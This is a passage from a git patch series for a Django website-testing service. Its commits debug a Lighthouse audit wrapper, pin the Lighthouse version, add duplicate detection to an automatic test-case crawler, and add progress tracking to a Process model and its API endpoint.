+                s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                )
+            # remove local copy
+            os.remove(audit_file)
+
             data = {
                 "scores": scores, 
-                "audits": audits,
-                "failed": True
+                "audits": audits_url,
+                "failed": False
             }
+
+        else:
+            raise RuntimeError
+        
+        # except Exception as e:
+        #     print(e)
+
+        #     scores = {
+        #         "seo": None,
+        #         "accessibility": None,
+        #         "performance": None,
+        #         "best_practices": None,
+        #         "pwa": None,
+        #         "crux": None,
+        #         "average": None
+        #     }
+
+        #     audits = {
+        #         "seo": [],
+        #         "accessibility": [],
+        #         "performance": [],
+        #         "best_practices": [],
+        #         "pwa": [],
+        #         "crux": []
+        #     }
+
+        #     data = {
+        #         "scores": scores, 
+        #         "audits": audits,
+        #         "failed": True
+        #     }
         
         return data

From 57efa55f223054ccfcbe007b2dbaa0f2a7fa48a0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:08:59 -0600
Subject: [PATCH 0468/1099] debugging LH

---
 app/api/utils/lighthouse.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 9b050b6e..523fd4c6 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -78,8 +78,10 @@ def get_data(self):
                 "pwa": []
             }
 
-            # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj
+            # iterating through categories to get relevant lh_audits 
+            # and store them in their respective `audits = {}` obj
             for cat in audits:
+                print(f'working on cat -> {cat}')
                 cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
                 if cat_audits is not None:
                     for a in cat_audits:

From dc1ee5a21117712f053856603403faab8f74b100 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:15:48 -0600
Subject: [PATCH 0469/1099] debuggin lh

---
 app/api/utils/lighthouse.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 523fd4c6..f3bd6258 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -78,6 +78,9 @@ def get_data(self):
                 "pwa": []
             }
 
+            for key in stdout_json["categories"]:
+                print(f'this is the audit -> {key}')
+
             # iterating through categories to get relevant lh_audits 
             # and store them in their respective `audits = {}` obj
             for cat in audits:

From 36ba34d3b313e434e29ef2cb00ff7c10586c1d0b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:33:35 -0600
Subject: [PATCH 0470/1099] dropped LH version while new 12 is being developed

---
 Dockerfile                  |   2 +-
 app/api/utils/lighthouse.py | 242 ++++++++++++++++++------------------
 app/api/utils/scanner.py    |  18 +--
 3 files changed, 129 insertions(+), 133 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c53676de..83d67c57 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,7 +34,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # installing lighthouse
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+RUN npm install -g lighthouse@11.7.1 lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index f3bd6258..a8e89c73 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -48,142 +48,138 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        # try:
-        stdout_value = self.init_audit() 
-        # decode bytes into string
-        stdout_string = stdout_value.decode('iso-8859-1')
+        try:
+            stdout_value = self.init_audit() 
+            # decode bytes into string
+            stdout_string = stdout_value.decode('iso-8859-1')
 
-        # clean string of any errors
-        delm = '{\n  "lighthouseVersion"'
-        stdout_string = delm + stdout_string.split(delm)[1]
+            # clean string of any errors
+            delm = '{\n  "lighthouseVersion"'
+            stdout_string = delm + stdout_string.split(delm)[1]
 
-        # encode back to bytes
-        stdout_value = stdout_string.encode('iso-8859-1')
+            # encode back to bytes
+            stdout_value = stdout_string.encode('iso-8859-1')
 
-    
-        if len(stdout_string) != 0:
-            if 'Runtime error encountered' in stdout_string:
-                error = {'error': 'lighthouse ran into a problem',}
-                return error
+        
+            if len(stdout_string) != 0:
+                if 'Runtime error encountered' in stdout_string:
+                    error = {'error': 'lighthouse ran into a problem',}
+                    return error
+
+                stdout_json = json.loads(stdout_value)
+
+                # initial audits object
+                audits = {
+                    "seo": [],
+                    "accessibility": [],
+                    "performance": [],
+                    "best-practices": [],
+                    "lighthouse-plugin-crux": [],
+                    "pwa": []
+                }
+
+                # iterating through categories to get relevant lh_audits 
+                # and store them in their respective `audits = {}` obj
+                for cat in audits:
+                    cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+                    if cat_audits is not None:
+                        for a in cat_audits:
+                            if int(a["weight"]) > 0:
+                                audit = stdout_json["audits"][a["id"]]
+                                audits[cat].append(audit)
+                # changing audits names
+                audits['best_practices'] = audits.pop('best-practices')
+                audits['crux'] = audits.pop('lighthouse-plugin-crux')
+                
+                # get scores from each category
+                seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
+                accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
+                performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
+                best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
+                pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
+                
+                # attempting crux
+                try:
+                    crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
+                except:
+                    crux_score = 0
+
+                if crux_score == 0 :
+                    crux_score = None
+                    average_score = round((
+                            seo_score + accessibility_score + performance_score 
+                            + best_practices_score + pwa_score
+                        )/ 5)
+                else:
+                    average_score = round((
+                            seo_score + accessibility_score + performance_score 
+                            + best_practices_score + pwa_score + crux_score
+                        )/ 6)
+
+                scores = {
+                    "seo": seo_score,
+                    "accessibility": accessibility_score,
+                    "performance": performance_score,
+                    "best_practices": best_practices_score,
+                    "pwa": pwa_score,
+                    "crux": crux_score,
+                    "average": average_score
+                }
+
+                # save audits data as json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(audits, fp)
+                
+                # upload to s3 and return url
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+                root_path = settings.AWS_S3_URL_PATH
+                audits_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(audit_file, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                    )
+                # remove local copy
+                os.remove(audit_file)
+
+                data = {
+                    "scores": scores, 
+                    "audits": audits_url,
+                    "failed": False
+                }
+
+            else:
+                raise RuntimeError
+        
+        except Exception as e:
+            print(e)
 
-            stdout_json = json.loads(stdout_value)
+            scores = {
+                "seo": None,
+                "accessibility": None,
+                "performance": None,
+                "best_practices": None,
+                "pwa": None,
+                "crux": None,
+                "average": None
+            }
 
-            # initial audits object
             audits = {
                 "seo": [],
                 "accessibility": [],
                 "performance": [],
-                "best-practices": [],
-                "lighthouse-plugin-crux": [],
-                "pwa": []
-            }
-
-            for key in stdout_json["categories"]:
-                print(f'this is the audit -> {key}')
-
-            # iterating through categories to get relevant lh_audits 
-            # and store them in their respective `audits = {}` obj
-            for cat in audits:
-                print(f'working on cat -> {cat}')
-                cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
-                if cat_audits is not None:
-                    for a in cat_audits:
-                        if int(a["weight"]) > 0:
-                            audit = stdout_json["audits"][a["id"]]
-                            audits[cat].append(audit)
-            # changing audits names
-            audits['best_practices'] = audits.pop('best-practices')
-            audits['crux'] = audits.pop('lighthouse-plugin-crux')
-            
-            # get scores from each category
-            seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-            accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-            performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-            best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-            pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
-            
-            # attempting crux
-            try:
-                crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-            except:
-                crux_score = 0
-
-            if crux_score == 0 :
-                crux_score = None
-                average_score = round((
-                        seo_score + accessibility_score + performance_score 
-                        + best_practices_score + pwa_score
-                    )/ 5)
-            else:
-                average_score = round((
-                        seo_score + accessibility_score + performance_score 
-                        + best_practices_score + pwa_score + crux_score
-                    )/ 6)
-
-            scores = {
-                "seo": seo_score,
-                "accessibility": accessibility_score,
-                "performance": performance_score,
-                "best_practices": best_practices_score,
-                "pwa": pwa_score,
-                "crux": crux_score,
-                "average": average_score
+                "best_practices": [],
+                "pwa": [],
+                "crux": []
             }
 
-            # save audits data as json file
-            file_id = uuid.uuid4()
-            with open(f'{file_id}.json', 'w') as fp:
-                json.dump(audits, fp)
-            
-            # upload to s3 and return url
-            audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-            remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-            root_path = settings.AWS_S3_URL_PATH
-            audits_url = f'{root_path}/{remote_path}'
-        
-            # upload to s3
-            with open(audit_file, 'rb') as data:
-                s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                )
-            # remove local copy
-            os.remove(audit_file)
-
             data = {
                 "scores": scores, 
-                "audits": audits_url,
-                "failed": False
+                "audits": audits,
+                "failed": True
             }
-
-        else:
-            raise RuntimeError
-        
-        # except Exception as e:
-        #     print(e)
-
-        #     scores = {
-        #         "seo": None,
-        #         "accessibility": None,
-        #         "performance": None,
-        #         "best_practices": None,
-        #         "pwa": None,
-        #         "crux": None,
-        #         "average": None
-        #     }
-
-        #     audits = {
-        #         "seo": [],
-        #         "accessibility": [],
-        #         "performance": [],
-        #         "best_practices": [],
-        #         "pwa": [],
-        #         "crux": []
-        #     }
-
-        #     data = {
-        #         "scores": scores, 
-        #         "audits": audits,
-        #         "failed": True
-        #     }
         
         return data
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 4596d429..614ed7bd 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    # try:
+    try:
     # running lighthouse
-    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.lighthouse = lh_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.lighthouse = lh_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 527857dfa8d7b84275cb48fd1b8540e05c9c88d5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:06:40 -0600
Subject: [PATCH 0471/1099] debugging duplicate checker

---
 app/api/utils/autocaser.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 3aa75266..8e6bc512 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -335,10 +335,13 @@ def get_current_elements(self) -> list:
 
     def check_for_duplicates(self, elements: list, selector: str) -> bool:
         found_duplicate = False
+        print('checking for duplicates...')
         for elem in elements:
             # check if selector exists already
+            print(f'{selector} <||> {ele["selector"]}')
             if elem['selector'] == selector:
                 found_duplicate = True
+                print('element is a duplicate')
                 break
 
             # check if sub_elements exists

From 82555a48eac856b547ed04396d2e53c5ce7e1a38 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:30:54 -0600
Subject: [PATCH 0472/1099] updated process obj

---
 app/api/models.py             | 5 +++--
 app/api/v1/ops/serializers.py | 2 +-
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 4d3210ef..6756c3da 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -497,10 +497,11 @@ def __str__(self):
 class Process(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) 
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # Test, Testcase, Case, Flow, Scan, Crawl
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
-    successful = models.BooleanField(serialize=True, default=False)
+    success = models.BooleanField(serialize=True, default=False)
+    info = models.JSONField(serialize=True, default=False)
     info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     progress = models.FloatField(serialize=True, null=True, blank=True)
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 0ab5e552..784f9237 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -29,7 +29,7 @@ class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Process
         fields = ['id', 'site', 'type', 'time_created', 'time_completed',
-        'successful', 'info_url', 'progress',
+        'success', 'info_url', 'progress', 'info'
         ]
 
 

From 645b99034b752c7aa0a7744a88af6bc50dad0ef0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:31:51 -0600
Subject: [PATCH 0473/1099] testing duplicate checker

---
 app/api/utils/autocaser.py | 71 ++++++++++++++++++++------------------
 1 file changed, 37 insertions(+), 34 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8e6bc512..b4ea4f9d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -338,7 +338,7 @@ def check_for_duplicates(self, elements: list, selector: str) -> bool:
         print('checking for duplicates...')
         for elem in elements:
             # check if selector exists already
-            print(f'{selector} <||> {ele["selector"]}')
+            print(f'{selector} <||> {elem["selector"]}')
             if elem['selector'] == selector:
                 found_duplicate = True
                 print('element is a duplicate')
@@ -567,42 +567,45 @@ def get_elements(self):
                     elem_img = self.get_element_image(element=elem)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
-                    # check the type of element
-                    if elem.tag_name == 'form':
-                        # record form into sub_elements list
-                        sub_elements = self.record_forms(
-                            elements=sub_elements,
-                            form=elem
-                        )
+                    # check if element is duplicate
+                    if not self.check_for_duplicates(sub_elements, elem_selector):
 
-                        # add to layers and ending case
-                        layers += 1
-                        run = False
-                
-                    if elem.tag_name == 'a' or elem.tag_name == 'button':
-                        # record element
-                        sub_elements.append({
-                            'selector': elem_selector,
-                            'elem_type': elem.tag_name,
-                            'placeholder': None,
-                            'value': None,
-                            'type': None,
-                            'data': None,
-                            'action': 'click',
-                            'path': relative_url,
-                            'img': elem_img,
-                            'elements': None,
-                        })
+                        # check the type of element
+                        if elem.tag_name == 'form':
+                            # record form into sub_elements list
+                            sub_elements = self.record_forms(
+                                elements=sub_elements,
+                                form=elem
+                            )
 
-                        # add to layers
-                        layers += 1
+                            # add to layers and ending case
+                            layers += 1
+                            run = False
+                    
+                        if elem.tag_name == 'a' or elem.tag_name == 'button':
+                            # record element
+                            sub_elements.append({
+                                'selector': elem_selector,
+                                'elem_type': elem.tag_name,
+                                'placeholder': None,
+                                'value': None,
+                                'type': None,
+                                'data': None,
+                                'action': 'click',
+                                'path': relative_url,
+                                'img': elem_img,
+                                'elements': None,
+                            })
+
+                            # add to layers
+                            layers += 1
 
-                        # click element
-                        try:
-                            elem.click()
-                        except Exception as e:
-                            print('Element not Clickable, removing')
-                            sub_elements.pop()
+                            # click element
+                            try:
+                                elem.click()
+                            except Exception as e:
+                                print('Element not Clickable, removing')
+                                sub_elements.pop()
 
 
                 # catching all other situations

From c1027f75dfa30e19ce56eebb96662dbbd45b7b25 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:37:02 -0600
Subject: [PATCH 0474/1099] fixing models issues

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 6756c3da..dbea30a7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -501,7 +501,7 @@ class Process(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     success = models.BooleanField(serialize=True, default=False)
-    info = models.JSONField(serialize=True, default=False)
+    info = models.JSONField(serialize=True, null=True, blank=True)
     info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     progress = models.FloatField(serialize=True, null=True, blank=True)
 

From fede376272510889699e9192107e4b9fb87a65a2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:42:50 -0600
Subject: [PATCH 0475/1099] updated for new progress scheme

---
 app/api/admin.py             | 2 +-
 app/api/utils/wordpress.py   | 2 +-
 app/api/utils/wordpress_p.py | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 253bc7ec..89482b91 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -72,7 +72,7 @@ class AutomationAdmin(admin.ModelAdmin):
 
 @admin.register(Process)
 class ProcessAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'time_created',  'time_completed', 'progress', 'successful')
+    list_display = ('__str__', 'time_created',  'time_completed', 'progress', 'success')
 
 
 @admin.register(Case)
diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py
index f94ea864..ea45ef3a 100644
--- a/app/api/utils/wordpress.py
+++ b/app/api/utils/wordpress.py
@@ -518,7 +518,7 @@ def run_migration(self):
             # <h1 class="font-36 color-0E134F proxima-regular mt-1 mb-2">Your migration is complete!</h1>
             # get full page div 
             if new_progress >= 100 or done_text in self.driver.page_source:
-                self.process.successful = True
+                self.process.success = True
                 self.process.time_completed = datetime.now()
                 done = True
 
diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py
index 889a00ff..1c2632e2 100644
--- a/app/api/utils/wordpress_p.py
+++ b/app/api/utils/wordpress_p.py
@@ -399,7 +399,7 @@ async def install_plugin(self, plugin_name):
     def update_process(self, successful=False, info_url=None, time_completed=None, progress=None):
         if info_url is not None:
             self.process.info_url = info_url
-        self.process.successful = successful
+        self.process.success = successful
         if time_completed is not None:
             self.process.time_completed = time_completed
         if progress is not None:

From 527d6dfe9ec90a5b471e3a29a9c4f05fd57cd5e8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:25:35 -0600
Subject: [PATCH 0476/1099] adding `Process` to AutoCase

---
 app/api/models.py             |   2 +
 app/api/tasks.py              |   5 +-
 app/api/tests.py              |   0
 app/api/utils/autocaser.py    |  50 ++++++++++++++-
 app/api/v1/ops/serializers.py |   2 +-
 app/api/v1/ops/services.py    | 115 ++++++++++++++++++++--------------
 6 files changed, 123 insertions(+), 51 deletions(-)
 delete mode 100644 app/api/tests.py

diff --git a/app/api/models.py b/app/api/models.py
index dbea30a7..05186cb3 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -497,10 +497,12 @@ def __str__(self):
 class Process(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # Test, Testcase, Case, Flow, Scan, Crawl
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     success = models.BooleanField(serialize=True, default=False)
+    exception = models.TextField(serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True)
     info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     progress = models.FloatField(serialize=True, null=True, blank=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3c98c5f1..e936eaa8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -496,16 +496,19 @@ def purge_logs(username=None, *args, **kwargs):
 def create_auto_cases_bg(
     self, 
     site_id=None,
+    process_id=None,
     max_cases=None,
     max_layers=None,
     configs=None
 ):
-    # get site
+    # get objects
     site = Site.objects.get(id=site_id)
+    process = Process.objects.get(id=process_id)
 
     # init AutoCaser
     AC = AutoCaser(
         site=site,
+        process=process,
         max_cases=max_cases,
         max_layers=max_layers,
     )
diff --git a/app/api/tests.py b/app/api/tests.py
deleted file mode 100644
index e69de29b..00000000
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index b4ea4f9d..3e52cc09 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -14,10 +14,17 @@
 class AutoCaser():
 
 
-    def __init__(self, site, max_cases: int=4, max_layers: int=5):
+    def __init__(
+        self, 
+        site,
+        process, 
+        max_cases: int=4, 
+        max_layers: int=5,
+    ):
          
-        # main site object & configs
+        # main objects & configs
         self.site = site
+        self.process = process
         self.max_cases = max_cases
         self.max_layers = max_layers
 
@@ -90,6 +97,34 @@ def __init__(self, site, max_cases: int=4, max_layers: int=5):
 
 
 
+    def update_process(
+        self, 
+        current: int, 
+        total: int, 
+        complete: bool=False, 
+        exception: str=None
+    ) -> object:
+        # calculate the current progress of the
+        # task based on current iteration and total 
+        # iterations expected
+        final_progress = 90
+        progress = 0
+        success = False
+        if complete:
+            progress = 100
+            success = True
+        if not complete:
+            progress = float((current/total) * final_progress)
+        
+        # update Process obj
+        self.process.progress = progress
+        self.process.success = success
+        self.process.save()
+
+
+
+
+
 
 
 
@@ -426,6 +461,7 @@ def get_elements(self):
 
 
         # begin elem iteration
+        iterations = 0
         for selector in final_start_elements:
 
             # ensuring we're at start_page
@@ -635,7 +671,12 @@ def get_elements(self):
                 'elements': sub_elements,
             })
 
-        
+            # counting for process 
+            iterations += 1
+
+            # update process
+            self.update_process(current=iterations, total=len(final_start_elements))
+
         # quit driver session
         quit_driver(self.driver)
 
@@ -772,6 +813,9 @@ def sub_element_mapping(elements, steps):
                 },
             )
 
+        # update process
+        self.update_process(current=1, total=1, complete=True)
+
 
         return None
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 784f9237..406cc075 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -29,7 +29,7 @@ class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Process
         fields = ['id', 'site', 'type', 'time_created', 'time_completed',
-        'success', 'info_url', 'progress', 'info'
+        'success', 'info_url', 'progress', 'info', 'exception'
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d9c42089..8e46c0a3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -171,11 +171,19 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # create process obj
+        process = Process.objects.create(
+            site=site,
+            type='case',
+            account=account
+        )
+
         # auto gen Cases using bg_autocase_task
         create_auto_cases_bg.delay(
             site_id=site.id,
-            max_cases=3,
-            max_layers=5
+            process_id=process.id,
+            max_cases=4,
+            max_layers=6
         )
         
         # check if this is account's first site and onboarding = True
@@ -2368,49 +2376,6 @@ def export_report(request):
 
 
 
-def get_processes(request):
-    site_id = request.query_params.get('site_id', None)
-    process_id = request.query_params.get('process_id', None)
-
-    if site_id:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        processes = Process.objects.filter(site=site).order_by('-time_created')
-
-    if process_id:
-        try:
-            process = Process.objects.get(id=process_id)
-            serializer_context = {'request': request,}
-            data = ProcessSerializer(process, context=serializer_context).data
-            record_api_call(request, data, '200')
-            response = Response(data, status=status.HTTP_200_OK)
-            return response
-        except:
-            data = {'reason': 'cannot find a Process with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-    if site_id is None and report_id is None:
-        processes = Process.objects.all().order_by('-time_created')
-
-    paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(processes, request)
-    serializer_context = {'request': request,}
-    serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
-    response = paginator.get_paginated_response(serialized.data)
-    record_api_call(request, response.data, '200')
-    return response
-
-
-
-
-
-
-
 
 def save_case_steps(steps, steps_id):
     # setup boto3 configurations
@@ -2637,16 +2602,28 @@ def create_auto_cases(request):
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
+
+    # create process obj
+    process = Process.objects.create(
+        site=site,
+        type='case',
+        account=account
+    )
+
     # send data to bg_autocase_task
     create_auto_cases_bg.delay(
         site_id=site_id,
+        process_id=process.id,
         max_cases=max_cases,
         max_layers=max_layers,
         configs=configs
     )
 
     # return response
-    data = {'message': 'Cases are generating',}
+    data = {
+        'message': 'Cases are generating',
+        'process': str(process.id),
+    }
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -2888,6 +2865,52 @@ def delete_testcase(request, id):
 
 
 
+def get_processes(request):
+    site_id = request.query_params.get('site_id', None)
+    process_id = request.query_params.get('process_id', None)
+    _type = request.query_params.get('type', None)
+    account = Account.objects.get(user=request.user)
+
+    if site_id:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        processes = Process.objects.filter(site=site).order_by('-time_created')
+
+    if process_id:
+        try:
+            process = Process.objects.get(id=process_id)
+            serializer_context = {'request': request,}
+            data = ProcessSerializer(process, context=serializer_context).data
+            record_api_call(request, data, '200')
+            response = Response(data, status=status.HTTP_200_OK)
+            return response
+        except:
+            data = {'reason': 'cannot find a Process with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+
+    if site_id is None and process_id is None:
+        if _type is None:
+            processes = Process.objects.filter(account=account).order_by('-time_created')
+        if _type is not None:
+            processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
+
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(processes, request)
+    serializer_context = {'request': request,}
+    serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+
 
 
 def get_logs(request):

From 20f4ce0ea7049752fc327a511a0a97cc473dd993 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:34:28 -0600
Subject: [PATCH 0477/1099] fixing exception in auto_case()

---
 app/api/v1/ops/services.py | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8e46c0a3..a8864e24 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2602,6 +2602,15 @@ def create_auto_cases(request):
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
+    # get site if only site_id present
+    if site_id is not None and site_url is not None:
+        site = Site.objects.get(id=site_id)
+        if site.account != account:
+            # return error response
+            data = {'reason': 'site not found',}
+            record_api_call(request, data, '404')
+            response = Response(data, status=status.HTTP_404_NOT_FOUND)
+            return response
 
     # create process obj
     process = Process.objects.create(

From 01557d81a494031e7059f51ac9e2ed67dafcb4d5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:38:18 -0600
Subject: [PATCH 0478/1099] still fixing auto_case exceptions

---
 app/api/v1/ops/services.py | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a8864e24..8655fdcf 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2591,19 +2591,12 @@ def create_auto_cases(request):
     account = Member.objects.get(user=user).account
 
     # get site if only site_url present
-    if site_id is None and site_url is not None:
+    if site_url is not None:
         site = Site.objects.filter(account=account, site_url=site_url)[0]
         site_id = str(site.id)
 
-    if site_id is None and site_url is None:
-        # return error response
-        data = {'reason': 'site not found',}
-        record_api_call(request, data, '404')
-        response = Response(data, status=status.HTTP_404_NOT_FOUND)
-        return response
-
     # get site if only site_id present
-    if site_id is not None and site_url is not None:
+    if site_id is not None:
         site = Site.objects.get(id=site_id)
         if site.account != account:
             # return error response
@@ -2612,6 +2605,15 @@ def create_auto_cases(request):
